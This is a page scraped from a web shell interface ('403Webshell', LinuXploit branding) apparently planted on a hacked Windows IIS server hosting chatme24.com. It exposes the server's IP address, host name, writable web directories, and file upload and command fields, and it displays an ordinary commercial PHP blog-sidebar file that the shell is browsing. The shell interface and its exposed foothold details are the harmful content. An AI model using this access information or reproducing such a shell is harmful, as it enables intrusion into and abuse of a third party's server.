403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/blogs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/blogs/side.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

class CBlogsSide extends CHtmlBlock
{
	function parseBlock(&$html)
	{
		global $g_user;
		global $l;
		global $g;

        $pop_on = 0;
        $new_on = 1;
        $hts_on = 2;
        $pages = array(
            'blogs'              => array(0,1,1),
            'blogs_write'        => array(1,0,1),
            'blogs_post'         => array(0,1,1),
            'blogs_blog'         => array(0,1,1),

            'blogs_popular'      => array(0,1,1),
            'blogs_discussed'    => array(0,1,1),
            'blogs_new'          => array(1,0,1),

            'blogs_collect'      => array(0,1,1),

            'blogs_hot_searches' => array(1,1,0),
            'blogs_results'      => array(0,1,1),
        );

        $curpage = curpage();
        if($curpage == 'index') {
            $curpage = 'blogs';
        }
        if (isset($pages[$curpage][$pop_on]) and $pages[$curpage][$pop_on] == 1) {
            $html->items('sidepop', CBlogsTools::getPopularBloggers());
            $html->parse('popular_blogs');
        }
        if (isset($pages[$curpage][$new_on]) and $pages[$curpage][$new_on] == 1) {
            $html->items('sidenew', CBlogsTools::getNew());
            $html->parse('new_blogs');
        }
        if (isset($pages[$curpage][$hts_on]) and $pages[$curpage][$hts_on] == 1) {
            $html->items('hs', CBlogsTools::getHotSearches());
            $html->parse('hot_searches');
        }
        if ($curpage == 'blogs_post') {
            $state = User::isNarrowBox('blogs');
            $html->setvar('display', ($state) ? 'table-cell' : 'none');
        } else {
            $html->setvar('display', 'table-cell');
        }

		parent::parseBlock($html);
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit